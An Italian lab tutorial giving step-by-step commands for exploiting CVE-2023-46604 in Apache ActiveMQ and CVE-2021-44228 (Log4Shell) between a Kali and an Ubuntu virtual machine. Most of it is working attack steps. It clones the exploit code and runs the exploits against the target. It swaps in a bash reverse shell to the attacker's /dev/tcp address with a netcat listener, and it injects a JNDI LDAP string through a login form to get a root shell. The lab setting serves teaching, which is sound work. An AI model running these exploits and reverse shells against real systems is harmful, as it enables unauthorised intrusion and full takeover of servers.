
Istruzioni per sfruttare le vulnerabilità CVE-2021-44228 e CVE-2023-46604
Questo laboratorio guida allo sfruttamento delle vulnerabilità di CVE-2023-46604
Questo laboratorio richiede l'installazione di 2 macchine virtuali. Una macchina Kali Linux versione 2023.4 e una macchina Ubuntu versione 22.04.3 LTS. Puoi scaricarle qui:

Sulla macchina Kali Linux:
Installa git
$sudo apt install git
Installa gedit
$sudo apt install gedit
Sulla macchina Ubuntu:
Installa git
$sudo apt install git
Installa openjdk 18
$sudo apt install openjdk-18-jdk
Installa il pacchetto ActiveMQ 5.18.2
$sudo su
$git clone https://github.com/dcm2406/ApacheActiveMQ
$cd ApacheActiveMQ/
$tar -xf apache-activemq-5.18.2-bin.tar.gz
Sulla macchina Ubuntu Apri una finestra di terminale ed esegui il comando come indicato di seguito:
$sudo su
$cd ApacheActiveMQ/apache-activemq-5.18.2/bin/linux-x86-64
$./activemq start
Controlla lo stato del servizio:
$./activemq status
Se il servizio si avvia correttamente, sullo schermo del terminale verrà visualizzato il messaggio "ActiveMQ Brocker is running".
Puoi anche visitare http://127.0.0.1:8161 per aprire il manager del broker ActiveMQ. Include hostname, versione, ID, tempo di attività e altre informazioni.
Sulla macchina Kali Linux
Scarica le risorse per il processo di sfruttamento:
$sudo su
$git clone https://github.com/dcm2406/CVE-2023-46604
$cd CVE-2023-46604
$ls
Come puoi vedere, abbiamo 2 file: exploit.py e poc.xml:
$cd CVE-2023-46604
$python3 -m http.server
Apri una nuova finestra di terminale per inviare il file poc.xml al server di destinazione tramite il file exploit.py:
$sudo su
$cd CVE-2023-46604
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Dopo l'esecuzione del comando, l'applicazione Calcolatrice viene avviata sulla macchina di destinazione. Questo dimostra che la vulnerabilità è stata sfruttata con successo. Procediamo quindi a creare una reverse shell per controllare la macchina di destinazione.
Apri una nuova finestra di terminale per rimanere in ascolto di connessioni reverse shell:
$sudo su
$nc -nlvp 4444
Torna al terminale precedente e modifica il file poc.xml:
$gedit poc.xml
Sostituisci il valore gnome-calculator con bash -i >& /dev/tcp/192.168.132.130/4444 0>&1 e salva il file.
Invia di nuovo il codice malevolo:
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
Il risultato di questo comando è che abbiamo ottenuto la root shell sulla macchina di destinazione. ROOTED!!!
Questo laboratorio richiede l'installazione di 2 macchine virtuali. Una macchina Kali Linux versione 2023.4 e una macchina Ubuntu versione 22.04.3 LTS. Puoi scaricarle qui:

Sulla macchina Kali Linux:
Installa git
$sudo apt install git
Installa gedit
$sudo apt install gedit
Sulla macchina Ubuntu:
Installa git
$sudo apt install git
Installa docker
$sudo apt install docker.io
Sulla macchina Ubuntu
Passaggio 1: Scarica openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
$tar -xf jdk-8u20-linux-x64.tar.gz
Passaggio 2: Scarica e crea il file docker
$sudo su
$git clone https://github.com/dcm2406/web-server-cve44228
$docker build -t cve44228
$docker run --network host cve44228
Dopo aver completato i comandi precedenti, abbiamo un sito web. Per navigare sul web, puoi usare l'URL: http://<ubuntu_ip>:8080. In questo tutorial, l'indirizzo sarà simile a: http://192.168.132.135:8080
Sulla macchina Kali Linux, scarica le risorse necessarie per sfruttare la vulnerabilità
Scarica il poc
$sudo su
$git clone https://github.com/kozmer/log4j-shell-poc
$pip install -r requirement.txt
Scarica openjdk
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
//move the openjdk file to the directory containing the poc file
$mv jdk-8u20-linux-x64.tar.gz <path to the directory containing the poc file>
$tar -xf jdk-8u20-linux-x64.tar.gz //unzip the file
Apri un nuovo terminale per rimanere in ascolto di connessioni reverse shell:
$sudo su
$nc -nlvp 9001
Avvia i servizi LDAP e HTTP con il file poc
$sudo su
$cd log4j-shell-poc
$python3 poc.py --userip 192.168.132.130 --lport 9001 --webport 8080
Il comando restituirà risultati simili ai seguenti
[!] CVE: CVE-2021-44228
Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.132.130:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
Qui siamo interessati solo al valore jndi generato. Apri un browser web e inserisci l'indirizzo del sito web creato in precedenza. Accedi utilizzando il valore jndi. A questo punto, il terminale netcat riceve una connessione. ROOTED!!!
Per assistenza, invia un'email a [email protected]